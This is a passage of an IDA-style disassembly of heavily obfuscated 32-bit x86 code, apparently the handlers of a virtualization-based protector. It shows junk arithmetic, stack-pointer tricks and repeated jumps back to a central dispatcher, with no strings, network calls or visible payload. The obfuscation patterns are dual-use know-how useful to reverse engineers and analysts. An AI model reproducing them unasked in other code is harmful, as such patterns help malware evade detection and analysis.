loc_5A78A4:				; CODE XREF: sub_58A891+22AE1j
		pop	esp
		jmp	loc_5B2054
; ---------------------------------------------------------------------------


loc_5A78AA:				; CODE XREF: sub_58A891+140B1j
		or	ebx, ecx
		pop	ecx
		jmp	loc_5AC198
; ---------------------------------------------------------------------------


loc_5A78B2:				; CODE XREF: sub_58A891+1FE0Fj
		sub	ebp, 4
		xor	ebp, [esp+1Ah+var_1C+2]
		xor	[esp+1Ah+var_1C+2], ebp
		xor	ebp, [esp+1Ah+var_1C+2]
		pop	esp
		jmp	loc_5A70D5
; ---------------------------------------------------------------------------


loc_5A78C7:				; CODE XREF: sub_58A891+23DE0j
		pop	edx
		xor	ebx, 0A0F696C0h
		jmp	loc_5A421C
; ---------------------------------------------------------------------------


loc_5A78D3:				; CODE XREF: sub_58A891+11DF7j
		pop	ebp
		push	esi
		mov	esi, esp
		push	edi
		push	edx
		jmp	loc_5A24B8
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+56h+var_58+2]
		push	edx
		jmp	loc_5A685E
; ---------------------------------------------------------------------------


loc_5A78E8:				; CODE XREF: sub_58A891+24463j
		jmp	loc_5A3DF7
; ---------------------------------------------------------------------------


loc_5A78ED:				; CODE XREF: sub_58A891:loc_5A3968j
					; sub_58A891+1C17Bj
		xor	cl, 0B9h
		sub	bl, cl
		pop	cx
		sub	bl, ah
		add	bl, 0Ah
		jmp	loc_5A02BB
; ---------------------------------------------------------------------------


loc_5A78FE:				; CODE XREF: sub_58A891+1373Aj
		sub	ebx, 3DFF528Dh
		or	ebx, 72B94A4Fh
		add	ebx, 1A474F02h
		jmp	loc_5A5978
; ---------------------------------------------------------------------------


loc_5A7915:				; CODE XREF: sub_58A891+1FF81j
		or	edx, 75A03719h
		xor	edx, 410B6A35h
		sub	eax, edx
		jmp	loc_5ADE8F
; ---------------------------------------------------------------------------


loc_5A7928:				; CODE XREF: sub_58A891+14E3Bj
		xor	edi, 447455FEh
		jmp	loc_5B0F73
; ---------------------------------------------------------------------------


loc_5A7933:				; CODE XREF: sub_58A891+1D1F8j
		mov	[esp+32h+var_34+2], ecx
		mov	cl, 54h
		sub	cl, 0F2h
		or	al, cl
		pop	ecx
		jmp	loc_59DB39
; ---------------------------------------------------------------------------


loc_5A7943:				; CODE XREF: sub_58A891+19198j
		jz	loc_59F203
		add	ebp, 2D7D720Ah
		mov	ecx, ebp
		pop	ebp
		jmp	loc_5B1D7E
; ---------------------------------------------------------------------------


loc_5A7957:				; CODE XREF: sub_58A891+185A4j
		pop	ebx
		pop	ecx
		xor	ebp, [esp+82h+var_82]
		xor	[esp+82h+var_82], ebp
		xor	ebp, [esp+82h+var_82]
		pop	esp
		rol	byte ptr [esp+7Eh+var_7E], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A796C:				; CODE XREF: sub_58A891+26020j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7971:				; CODE XREF: sub_58A891+27BA6j
		push	eax
		jmp	loc_5AFEC8
; ---------------------------------------------------------------------------


loc_5A7977:				; CODE XREF: sub_58A891+23863j
		push	edi
		mov	edi, esp
		push	esi
		jmp	loc_5A8F30
; ---------------------------------------------------------------------------


loc_5A7980:				; CODE XREF: sub_58A891+20197j
		mov	eax, esp
		push	ebx
		jmp	loc_5AC021
; ---------------------------------------------------------------------------


loc_5A7988:				; CODE XREF: sub_58A891+250AAj
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp+92h+var_92]
		pop	esp
		mov	[esp+8Eh+var_8E], ebp
		mov	ebp, esp
		jmp	loc_5AA622
; ---------------------------------------------------------------------------


loc_5A799F:				; CODE XREF: sub_58A891+17E5Fj
		add	esp, 4
		add	ebp, 4
		push	3E9Dh
		jmp	loc_5AE030
; ---------------------------------------------------------------------------


loc_5A79B5:				; CODE XREF: sub_58A891+229E7j
					; sub_58A891+269C0j
		jns	loc_5B0BDC
		and	edx, 1D344E38h
		push	edx
		dec	[esp+88h+var_8A+2]
		pop	edx
		add	edx, 0EACBB4D7h
		mov	eax, edx
		jmp	loc_5A551A
; ---------------------------------------------------------------------------


loc_5A79D3:				; CODE XREF: sub_58A891+23141j
		xchg	edi, [esp+84h+var_86+2]
		jmp	loc_5AB4A8
; ---------------------------------------------------------------------------


loc_5A79DB:				; CODE XREF: sub_58A891+20590j
		mov	ebx, [esp+84h+var_86+2]
		add	esp, 4
		add	ebx, 0C0E342CBh
		sub	eax, 3A901923h
		sub	eax, ebx
		add	eax, 3A901923h
		jmp	loc_5A77B0
; ---------------------------------------------------------------------------


loc_5A79FB:				; CODE XREF: sub_58A891+18A44j
		push	ebx
		mov	ebx, esp
		push	604Ch
		mov	[esp+1Eh+var_20+2], ebp
		push	edi
		push	7CFE360Eh
		pop	edi
		jmp	loc_5ACDB6
; ---------------------------------------------------------------------------


loc_5A7A12:				; CODE XREF: sub_58A891+18436j
		sub	esi, 6D246CABh
		jl	loc_5A00F9
		inc	esi
		jmp	loc_5AAFF2
; ---------------------------------------------------------------------------
		push	esi
		push	edi
		or	ah, 0F9h
		push	edi


loc_5A7A2A:				; CODE XREF: sub_58A891+1807Aj
					; sub_58A891+25CC1j
		pop	esi
		add	ecx, 32632C38h
		sub	ecx, 8B4D6D7Ch
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp+0]
		jmp	loc_5A323C
; ---------------------------------------------------------------------------


loc_5A7A42:				; CODE XREF: sub_58A891+27670j
		add	esp, 4
		push	15E1h
		mov	[esp+0], ecx
		push	esp
		mov	ecx, [esp+54h+var_54]
		add	esp, 4
		add	ecx, 4
		jmp	loc_5A46A6
; ---------------------------------------------------------------------------


loc_5A7A62:				; CODE XREF: sub_58A891+2771Aj
		sub	esp, 4
		mov	[esp+54h+var_54], ecx
		mov	ecx, 4
		add	edi, 7E57198h
		add	edi, ecx
		jmp	loc_59E967
; ---------------------------------------------------------------------------


loc_5A7A7D:				; CODE XREF: sub_58A891+1F7C2j
		pop	ebx
		jmp	loc_5A8BD8
; ---------------------------------------------------------------------------


loc_5A7A83:				; CODE XREF: sub_58A891+1F422j
		shr	al, 8
		sub	esp, 4
		jmp	loc_5A7933
; ---------------------------------------------------------------------------


loc_5A7A8E:				; CODE XREF: sub_58A891+27359j
		xor	ebx, 56726DE6h
		jmp	loc_5AC25A
; ---------------------------------------------------------------------------


loc_5A7A99:				; CODE XREF: sub_58A891+25729j
		pop	esi
		sub	esp, 4
		mov	[esp+54h+var_54], ecx
		mov	ecx, 28EE3645h
		xor	ebx, ecx
		pop	ecx
		push	edi
		mov	edi, 60761684h
		and	ebx, edi
		mov	edi, [esp+54h+var_54]
		add	esp, 4
		push	ecx
		jmp	loc_5A8970
; ---------------------------------------------------------------------------


loc_5A7ABF:				; CODE XREF: sub_58A891+1429Cj
		xchg	edx, [esp+0Ah+var_C+2]
		pop	esp
		mov	[esp+6+var_8+2], esi
		mov	esi, 424E24DCh
		push	ecx
		jmp	loc_59C90B
; ---------------------------------------------------------------------------


loc_5A7AD1:				; CODE XREF: sub_58A891+1D3A0j
		add	bl, 1
		inc	bl
		sub	bl, 54h
		jle	loc_5ACAD9
		jmp	loc_5AE865
; ---------------------------------------------------------------------------


loc_5A7AE4:				; CODE XREF: sub_58A891+20A27j
		mov	ebp, [esp+0Ah+var_C+2]
		add	esp, 4
		sub	esp, 4
		mov	[esp+0Ah+var_C+2], ecx
		push	[esp+0Ah+var_8+2]
		jmp	loc_5A6648
; ---------------------------------------------------------------------------


loc_5A7AFC:				; CODE XREF: sub_58A891+26986j
		xchg	edi, [esp+0Eh+var_10+2]
		pop	esp
		jmp	loc_5ADC47
; ---------------------------------------------------------------------------


loc_5A7B05:				; CODE XREF: sub_58A891+1FD6Ej
		add	ebp, 142F39F2h
		jmp	loc_5ACAD9
; ---------------------------------------------------------------------------


loc_5A7B10:				; CODE XREF: sub_58A891+24855j
		pop	[esp+0Ah+var_C+2]
		pop	esp
		jmp	loc_5AF71F
; ---------------------------------------------------------------------------


loc_5A7B19:				; CODE XREF: sub_58A891+23A89j
					; sub_58A891+2844Ej
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+2+var_4+2]
		pop	esp
		push	ecx
		push	dword ptr [esp+4]
		push	[esp+6+var_8+2]
		pop	ecx
		push	edx
		push	esp
		jmp	loc_5AA223
; ---------------------------------------------------------------------------


loc_5A7B3B:				; CODE XREF: sub_58A891+1DB28j
		mov	esi, 756751B2h
		xor	ebx, esi
		pop	esi
		push	2F25h
		mov	[esp+0Eh+var_10+2], ebx
		push	8CF6EFBh
		mov	ebx, [esp+12h+var_14+2]
		push	esi
		mov	esi, esp
		push	ebp
		mov	ebp, 54583EF9h
		and	ebp, 166A655Ch
		not	ebp
		jmp	loc_5A622E
; ---------------------------------------------------------------------------


loc_5A7B69:				; CODE XREF: sub_58A891+20305j
		push	edx
		inc	[esp+1Eh+var_20+2]
		pop	edx
		jmp	loc_5AE550
; ---------------------------------------------------------------------------


loc_5A7B73:				; CODE XREF: sub_58A891+14807j
		mov	eax, [esp+0B6h+var_B6]
		add	esp, 4
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+0B2h+var_B2]
		pop	esp
		sub	ecx, 675F9ADh
		push	edi
		jmp	loc_5A6D8C
; ---------------------------------------------------------------------------


loc_5A7B96:				; CODE XREF: sub_58A891+14B37j
		push	eax
		mov	ah, 0C5h
		sub	bl, ah
		jmp	loc_5ADC55
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp+52h+var_54+2]
		jmp	loc_5A9C5E
; ---------------------------------------------------------------------------


loc_5A7BA9:				; CODE XREF: sub_58A891+172DAj
		push	edx
		jmp	loc_5AF1B4
; ---------------------------------------------------------------------------


loc_5A7BAF:				; CODE XREF: sub_58A891+1D3E0j
		xor	ebx, eax
		jmp	loc_5A9794
; ---------------------------------------------------------------------------


loc_5A7BB6:				; CODE XREF: sub_58A891+18442j
		inc	esi
		jl	loc_5A88E6
		jmp	loc_5A25FA
; ---------------------------------------------------------------------------


loc_5A7BC2:				; CODE XREF: sub_58A891+20A08j
		mov	ebp, 4
		sub	ecx, ebp
		pop	ebp
		jmp	loc_5ADB3B
; ---------------------------------------------------------------------------


loc_5A7BCF:				; CODE XREF: sub_58A891+11D11j
		push	6777h
		mov	[esp+2Ah+var_2C+2], edi
		mov	edi, 0D71163Fh
		mov	ecx, edi
		jmp	loc_5A08A6
; ---------------------------------------------------------------------------


loc_5A7BE3:				; CODE XREF: sub_58A891+1F1F1j
		sub	esp, 4
		mov	[esp+2Eh+var_30+2], esi
		push	esp
		push	[esp+32h+var_34+2]
		jmp	loc_5AB96B
; ---------------------------------------------------------------------------


loc_5A7BF5:				; CODE XREF: sub_58A891+1949Aj
		add	eax, 0B36F5494h
		sub	edx, eax
		pop	eax
		jmp	loc_5B0FD4
; ---------------------------------------------------------------------------


loc_5A7C02:				; CODE XREF: sub_58A891:loc_5AE04Cj
		neg	eax
		jmp	loc_5A4286
; ---------------------------------------------------------------------------


loc_5A7C09:				; CODE XREF: sub_58A891+13F7Ej
		add	esp, 4
		add	esp, 4
		sub	al, bl
		mov	bx, word ptr [esp+82h+var_82]
		jmp	loc_5AD6F2
; ---------------------------------------------------------------------------


loc_5A7C20:				; CODE XREF: sub_58A891+18242j
					; sub_58A891+1E46Aj
		sub	[esp+8Eh+var_8E], edx
		mov	edx, [esp+8Eh+var_8E]
		jmp	loc_5A1C1C
; ---------------------------------------------------------------------------


loc_5A7C2B:				; CODE XREF: sub_58A891+27811j
		jo	loc_5AD0FD
		jmp	loc_5A7AD1
; ---------------------------------------------------------------------------


loc_5A7C36:				; CODE XREF: sub_58A891+256BEj
		jnp	loc_5A7EC6
		jmp	loc_5AFD25
; ---------------------------------------------------------------------------


loc_5A7C41:				; CODE XREF: sub_58A891+21ACDj
		mov	[esp+8Eh+var_8E], ecx
		push	7
		mov	[esp+92h+var_92], eax
		mov	eax, 7004D9Ch
		sub	eax, 0A6203A07h
		jmp	loc_59D2D6
; ---------------------------------------------------------------------------


loc_5A7C5B:				; CODE XREF: sub_58A891+1C98Ej
		add	esp, 4
		add	edi, 1D4F2273h
		not	edi
		jmp	loc_5A3743
; ---------------------------------------------------------------------------


loc_5A7C6B:				; CODE XREF: sub_58A891+1802Dj
		push	eax
		mov	eax, 0DDB3193Ah
		jmp	loc_5A7BAF
; ---------------------------------------------------------------------------


loc_5A7C76:				; CODE XREF: sub_58A891+24FD6j
		add	edx, ecx
		mov	ecx, [esp+32h+var_34+2]
		jmp	loc_5B08C3
; ---------------------------------------------------------------------------


loc_5A7C80:				; CODE XREF: sub_58A891+2475Cj
		xor	eax, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		mov	ax, word ptr [esp+32h+var_34+2]
		jmp	loc_5A7501
; ---------------------------------------------------------------------------


loc_5A7C8F:				; CODE XREF: sub_58A891+255A1j
		pop	ecx
		sub	al, bh
		pop	ebx
		add	al, cl
		push	5A6h
		mov	[esp+2Eh+var_30+2], edx
		mov	dh, 4Bh
		add	al, dh
		pop	edx
		pop	ecx
		xor	al, dh
		pop	edx
		jmp	loc_5A1A10
; ---------------------------------------------------------------------------


loc_5A7CAB:				; CODE XREF: sub_58A891+27B89j
		mov	eax, 44E03EF0h
		neg	eax
		jmp	loc_5A3C87
; ---------------------------------------------------------------------------


loc_5A7CB7:				; CODE XREF: sub_58A891+194B2j
		push	small 0E05h
		mov	word ptr [esp+96h+var_96], cx
		jmp	loc_5A4507
; ---------------------------------------------------------------------------


loc_5A7CC4:				; CODE XREF: sub_58A891+1433Cj
		xor	ecx, [esp+6Ah+var_6C+2]
		mov	esp, [esp+6Ah+var_6C+2]
		push	ebx
		sub	esp, 4
		mov	[esp+72h+var_74+2], eax
		push	ecx
		push	ebx
		sub	esp, 4
		mov	[esp+7Eh+var_7E], eax
		mov	al, dl
		jmp	loc_5A57CA
; ---------------------------------------------------------------------------


loc_5A7CE3:				; CODE XREF: sub_58A891+21975j
		mov	bl, ah
		mov	eax, [esp+7Eh+var_7E]
		jmp	loc_5B1357
; ---------------------------------------------------------------------------


loc_5A7CED:				; CODE XREF: sub_58A891+2119Fj
		mov	ecx, [esp+7Eh+var_7E]
		jmp	loc_5B2C7F
; ---------------------------------------------------------------------------


loc_5A7CF5:				; CODE XREF: sub_58A891+26C96j
		add	esi, eax
		push	58D5h
		jmp	loc_5AF10E
; ---------------------------------------------------------------------------


loc_5A7D01:				; CODE XREF: sub_58A891+25F58j
		sub	ecx, 4
		push	ecx
		push	[esp+86h+var_82]
		pop	ecx
		pop	[esp+86h+var_86]
		pop	esp
		mov	[esp+7Eh+var_7E], eax
		mov	eax, 4
		sub	esi, 5E9D38C3h
		add	esi, eax
		add	esi, 5E9D38C3h
		pop	eax
		sub	esp, 4
		mov	[esp+7Eh+var_7E], eax
		jmp	loc_5AA274
; ---------------------------------------------------------------------------


loc_5A7D33:				; CODE XREF: sub_58A891+1EEB1j
					; sub_58A891+25F3Cj
		pop	[esp+7Eh+var_7E]
		pop	esp
		jmp	loc_5A83D1
; ---------------------------------------------------------------------------


loc_5A7D3C:				; CODE XREF: sub_58A891+17BE0j
		mov	[esp+0AAh+var_AA], ebx
		mov	ebx, 75860485h
		jmp	loc_59E5DD
; ---------------------------------------------------------------------------


loc_5A7D49:				; CODE XREF: sub_58A891+19072j
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp+0]
		pop	esp
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_59D521
; ---------------------------------------------------------------------------


loc_5A7D69:				; CODE XREF: sub_58A891+226E8j
		pop	edi
		add	edi, 7F79798Bh
		jz	loc_5A15A1
		jmp	loc_5AE5D6
; ---------------------------------------------------------------------------


loc_5A7D7B:				; CODE XREF: sub_58A891+1E944j
					; sub_58A891+1F8CDj ...
		pop	edi
		jmp	loc_5B2F79
; ---------------------------------------------------------------------------


loc_5A7D81:				; CODE XREF: sub_58A891+15337j
		sub	esp, 4
		mov	[esp+86h+var_86], edi
		jmp	loc_5A5A35
; ---------------------------------------------------------------------------


loc_5A7D8C:				; CODE XREF: sub_58A891+28226j
		mov	esi, 48DE556Dh
		jmp	loc_59D81A
; ---------------------------------------------------------------------------


loc_5A7D96:				; CODE XREF: sub_58A891+116F1j
		jnz	loc_5AFB80
		shl	esi, 8
		jmp	loc_59FA9E
; ---------------------------------------------------------------------------
		xor	ebx, eax
		push	ebx


loc_5A7DA7:				; CODE XREF: sub_58A891+25279j
		pop	eax
		xchg	edx, [esp+1Ah+var_1C+2]
		pop	esp
		push	eax
		mov	al, 0DDh
		xor	bl, al
		jmp	loc_5A8AFC
; ---------------------------------------------------------------------------


loc_5A7DB6:				; CODE XREF: sub_58A891+22842j
		add	esp, 4
		xor	esi, 358B7856h
		jmp	loc_5A7330
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	[esp+14h+var_14], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7DD3:				; CODE XREF: sub_58A891+1DCEAj
		mov	[esp+18h+var_18], edx
		push	65A3415Dh
		mov	edx, [esp+1Ch+var_1C]
		add	esp, 4
		dec	edx
		push	eax
		push	498Eh
		mov	[esp+20h+var_20], ecx
		mov	ecx, 567A34F6h
		jmp	loc_5AB7B7
; ---------------------------------------------------------------------------


loc_5A7DF5:				; CODE XREF: sub_58A891+1C854j
		pop	ebx
		add	ebp, 1F0E68E6h
		sub	ebp, esi
		push	ecx
		mov	ecx, 67EA194Fh
		jmp	loc_5AEB52
; ---------------------------------------------------------------------------


loc_5A7E09:				; CODE XREF: sub_58A891+25872j
		pop	edx
		sub	ebx, 70AD5D3Fh
		sub	ebx, eax
		add	ebx, 70AD5D3Fh
		sub	ebx, 7B60419Fh
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esi
		mov	esi, 67562E76h
		sub	esi, 2B5B6E71h
		not	esi
		add	esi, 1
		add	esi, 878A313Eh
		add	ebx, esi
		mov	esi, [esp+0Eh+var_10+2]
		add	esp, 4
		add	ebx, 2CCC7851h
		pop	dword ptr [eax]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7E55:				; CODE XREF: sub_58A891+1F08Fj
		sub	edi, 1DC13008h
		xchg	edi, esi
		pop	edi
		sub	esp, 4
		jmp	loc_5B10B4
; ---------------------------------------------------------------------------


loc_5A7E66:				; CODE XREF: sub_58A891+126D8j
		pop	ebp
		add	ebp, 4
		push	edx
		mov	edx, 33102B6Eh
		jmp	loc_5AF946
; ---------------------------------------------------------------------------


loc_5A7E78:				; CODE XREF: sub_58A891+276AEj
		xor	cl, al
		pop	eax
		shl	cl, 4
		shl	cl, 2
		jmp	loc_5AAD91
; ---------------------------------------------------------------------------


loc_5A7E86:				; CODE XREF: sub_58A891+276E1j
		sub	ebp, edx
		jmp	loc_5AE051
; ---------------------------------------------------------------------------
		push	[esp+7Eh+var_7E]
		jmp	loc_5A9A78
; ---------------------------------------------------------------------------


loc_5A7E95:				; CODE XREF: sub_58A891+1A62Fj
		add	esp, 4
		push	27B4h
		mov	[esp+90h+var_92+2], ebx
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_59DFFE
; ---------------------------------------------------------------------------


loc_5A7EB7:				; CODE XREF: sub_58A891+25AA1j
		pop	ebx
		add	ebp, 0D8DD6247h
		add	eax, ebp
		pop	ebp
		jmp	loc_5A55BD
; ---------------------------------------------------------------------------


loc_5A7EC6:				; CODE XREF: sub_58A891+19664j
					; sub_58A891:loc_5A7C36j
		add	edi, 0C4863204h
		jmp	loc_5AD012
; ---------------------------------------------------------------------------


loc_5A7ED1:				; CODE XREF: sub_58A891+17332j
					; sub_58A891+1CA9Aj
		pop	esp
		jmp	loc_59D37E
; ---------------------------------------------------------------------------


loc_5A7ED7:				; CODE XREF: sub_58A891+26C83j
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A7EDC:				; CODE XREF: sub_58A891+23B7Fj
		sub	bl, al
		push	small 4542h
		mov	word ptr [esp+0Ch+var_C], ax
		push	ebx
		mov	bl, 0BDh
		neg	bl
		jb	loc_5B1C9C
		inc	bl
		jg	loc_59D357
		mov	bl, 2Ch
		mov	bl, cl


loc_5A7EFD:				; CODE XREF: sub_58A891+1A1E8j
		sub	ecx, 5EBC6178h
		jmp	loc_5A77D9
; ---------------------------------------------------------------------------


loc_5A7F08:				; CODE XREF: sub_58A891+1B6B4j
		add	ebp, 27E65474h
		pop	esi
		sub	esp, 4
		mov	[esp+38h+var_38], ebp
		push	[esp+38h+var_34]
		jmp	loc_5AC83E
; ---------------------------------------------------------------------------


loc_5A7F1E:				; CODE XREF: sub_58A891+191C2j
					; sub_58A891+28729j
		mov	ecx, 35212D3Ch
		sub	esi, ecx
		jmp	loc_5A9BAC
; ---------------------------------------------------------------------------


loc_5A7F2A:				; CODE XREF: sub_58A891+15DB2j
					; sub_58A891+1B09Dj
		mov	ecx, esi
		pop	esi
		jmp	loc_5B071D
; ---------------------------------------------------------------------------


loc_5A7F32:				; CODE XREF: sub_58A891+1685Ej
		jg	loc_5A5ECF
		xor	edi, 0F21C181Ch
		jmp	loc_5A920E
; ---------------------------------------------------------------------------


loc_5A7F43:				; CODE XREF: sub_58A891+1CEC2j
		xor	ebx, eax
		xor	eax, ebx
		xor	ebx, eax
		dec	ebx
		xor	ebx, esi
		xor	esi, ebx
		xor	ebx, esi
		not	esi
		push	0C6Eh
		mov	[esp+0], ebx
		push	4625h
		mov	[esp+4+var_4], esi
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	dword ptr [esp+0]
		jmp	loc_5A0A59
; ---------------------------------------------------------------------------


loc_5A7F70:				; CODE XREF: sub_58A891+266DDj
		xor	[esp+4+var_4], ebx
		jmp	loc_5A32DA
; ---------------------------------------------------------------------------


loc_5A7F78:				; CODE XREF: sub_58A891+12748j
		push	edi
		jmp	loc_5A99E9
; ---------------------------------------------------------------------------
		push	[esp+82h+var_82]
		pop	ecx
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp+8Ah+var_8A], ebp
		push	edx
		mov	edx, 4F83764Fh
		and	edx, 78343F62h
		ja	loc_5A512A
		and	edx, 7D646B35h
		jmp	loc_5A32B5
; ---------------------------------------------------------------------------
		mov	ax, fs:[edx]
		push	ebp
		sub	esp, 4
		mov	[esp+96h+var_96], esp
		add	[esp+96h+var_96], 4
		pop	ebp
		push	ecx
		push	37DA2727h
		pop	ecx
		push	ebx
		jmp	loc_5AB151
; ---------------------------------------------------------------------------


loc_5A7FCB:				; CODE XREF: sub_58A891+133A8j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+0Ah+var_C+2]
		pop	esp
		push	47ECh
		mov	[esp+0Ah+var_C+2], ebp
		sub	esp, 4
		mov	[esp+0Eh+var_10+2], esp
		push	ecx
		jmp	loc_5B2836
; ---------------------------------------------------------------------------


loc_5A7FF2:				; CODE XREF: sub_58A891+16C9Bj
		shr	edi, 3
		sub	edi, 9940F581h
		add	eax, edi
		jmp	loc_59C7D6
; ---------------------------------------------------------------------------


loc_5A8002:				; CODE XREF: sub_58A891+1C536j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+3Ah+var_3C+2]
		jmp	loc_5B0433
; ---------------------------------------------------------------------------


loc_5A8017:				; CODE XREF: sub_58A891+213A4j
					; sub_58A891+25D29j
		mov	eax, 7D153D78h
		or	eax, 4C1E359Fh
		dec	eax
		jmp	loc_5A9558
; ---------------------------------------------------------------------------


loc_5A8027:				; CODE XREF: sub_58A891+1DC3Aj
		mov	ebp, 64DB0C64h
		mov	eax, ebp
		pop	ebp
		add	[esp+36h+var_2C+2], eax
		push	[esp+36h+var_38+2]
		pop	eax
		push	edx
		jmp	loc_5AD4A2
; ---------------------------------------------------------------------------


loc_5A803D:				; CODE XREF: sub_58A891+18118j
		pop	esp
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8043:				; CODE XREF: sub_58A891+244DFj
		add	ecx, edi
		push	edx
		mov	edx, 33B95C86h
		shr	edx, 8
		shl	edx, 3
		xor	edx, 52F467Bh
		neg	edx
		shr	edx, 5
		xor	edx, 1B065A21h
		sub	ecx, edx
		pop	edx
		add	ecx, 22F4322Ch
		add	ecx, 27146036h
		mov	edi, [esp+2Eh+var_30+2]
		add	esp, 4
		push	56Bh
		mov	[esp+2Eh+var_30+2], eax
		push	ebp
		jmp	loc_5AA6CE
; ---------------------------------------------------------------------------


loc_5A8085:				; CODE XREF: sub_58A891+26560j
		xchg	esi, [esp+32h+var_34+2]
		mov	esp, [esp+32h+var_34+2]
		add	esp, 4
		jmp	loc_5A8B61
; ---------------------------------------------------------------------------


loc_5A8093:				; CODE XREF: sub_58A891+1A72Cj
		add	esp, 4
		jmp	loc_5ADBCC
; ---------------------------------------------------------------------------


loc_5A809B:				; CODE XREF: sub_58A891+16F28j
		mov	[esp+8Ah+var_8A], edx
		jmp	loc_5AFD85
; ---------------------------------------------------------------------------


loc_5A80A3:				; CODE XREF: sub_58A891+17367j
		neg	edi
		jmp	loc_5AF0C3
; ---------------------------------------------------------------------------


loc_5A80AA:				; CODE XREF: sub_58A891+1BC69j
		push	ebp
		jmp	loc_59C936
; ---------------------------------------------------------------------------


loc_5A80B0:				; CODE XREF: sub_58A891+2135Bj
		mov	esp, [esp+8Eh+var_8E]
		jmp	loc_5A56D0
; ---------------------------------------------------------------------------


loc_5A80B8:				; CODE XREF: sub_58A891+1E097j
		mov	eax, esp
		jmp	loc_5AB687
; ---------------------------------------------------------------------------


loc_5A80BF:				; CODE XREF: sub_58A891+20F0Dj
		push	edi
		push	[esp+92h+var_8E]
		pop	edi
		pop	[esp+92h+var_92]
		pop	esp
		mov	[esp+8Ah+var_8A], ecx
		mov	ch, al
		mov	dh, ch
		pop	ecx
		mov	bl, dh
		mov	edx, [esp+86h+var_86]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+8Ah+var_8A]
		jmp	loc_5A8B66
; ---------------------------------------------------------------------------


loc_5A80EA:				; CODE XREF: sub_58A891+27E2Cj
		mov	[esp+8Ah+var_8A], ebp
		jmp	loc_5AF63A
; ---------------------------------------------------------------------------


loc_5A80F2:				; CODE XREF: sub_58A891+132DBj
					; sub_58A891+17447j
		mov	ebx, 201F048Bh
		sub	ebx, 57670644h
		not	ebx
		add	ebx, 11B028DBh
		add	ecx, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		add	ecx, eax
		push	edx
		mov	edx, 48F82A93h
		sub	ecx, edx
		pop	edx
		push	edx
		mov	edx, 7D453B1Eh
		sub	edx, 6D7A7DBCh
		sub	edx, 0FE0E5A8Eh
		jmp	loc_5B2BE5
; ---------------------------------------------------------------------------


loc_5A8132:				; CODE XREF: sub_58A891+1AE24j
		push	esi
		push	esp
		pop	esi
		jmp	loc_59E54B
; ---------------------------------------------------------------------------


loc_5A813A:				; CODE XREF: sub_58A891+1A164j
		mov	ecx, 2EB44B93h
		jmp	loc_59CE67
; ---------------------------------------------------------------------------


loc_5A8144:				; CODE XREF: sub_58A891+153ABj
		push	small 6C97h
		jmp	loc_5A030D
; ---------------------------------------------------------------------------


loc_5A814D:				; CODE XREF: sub_58A891+14B7Cj
		add	ecx, edi
		pop	edi
		jmp	loc_59D327
; ---------------------------------------------------------------------------


loc_5A8155:				; CODE XREF: sub_58A891+1A799j
		and	ebx, 9B5384Ch
		jo	loc_5A12B0
		add	ebx, 255D387Eh
		sub	ebx, 1F73C453h
		jmp	loc_5AE415
; ---------------------------------------------------------------------------


loc_5A8172:				; CODE XREF: sub_58A891+1CE50j
		xchg	eax, [esp+0CEh+var_D0+2]
		jmp	loc_5AC4DD
; ---------------------------------------------------------------------------


loc_5A817A:				; CODE XREF: sub_58A891:loc_5A4D46j
		shl	bl, 8
		jp	loc_5AD9FA
		jmp	loc_59CE6D
; ---------------------------------------------------------------------------
		pop	esp
		mov	bh, 0FFh
		pop	eax


loc_5A818D:				; CODE XREF: sub_58A891+132E6j
					; sub_58A891+19A00j
		push	esi
		jmp	loc_5A5453
; ---------------------------------------------------------------------------


loc_5A8193:				; CODE XREF: sub_58A891+26908j
		mov	ecx, 55661E90h
		sub	ebp, ecx
		pop	ecx
		mov	ebx, [esp+0]
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		add	eax, 4
		xor	eax, [esp+7Ah+var_7A]
		xor	[esp+7Ah+var_7A], eax
		xor	eax, [esp+7Ah+var_7A]
		mov	esp, [esp+7Ah+var_7A]
		shr	ebp, 4
		sub	ebp, 3EC05D1h
		and	eax, ebp
		mov	ebp, [esp+7Ah+var_7A]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+7Eh+var_7E]
		pop	esp
		jmp	loc_59C779
; ---------------------------------------------------------------------------


loc_5A81D9:				; CODE XREF: sub_58A891+1B042j
		push	ebp
		mov	ebp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_5B2153
; ---------------------------------------------------------------------------


loc_5A81E7:				; CODE XREF: sub_58A891+1A053j
		sub	esp, 4
		mov	[esp+22h+var_24+2], edi
		push	[esp+22h+var_20+2]
		pop	edi
		pop	[esp+22h+var_24+2]
		pop	esp
		cmp	cx, ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5A8202:				; CODE XREF: sub_58A891+26261j
		sub	[esp+1Eh+var_1C+2], eax
		add	[esp+1Eh+var_1C+2], 4AFF6277h
		mov	eax, [esp+1Eh+var_20+2]
		add	esp, 4
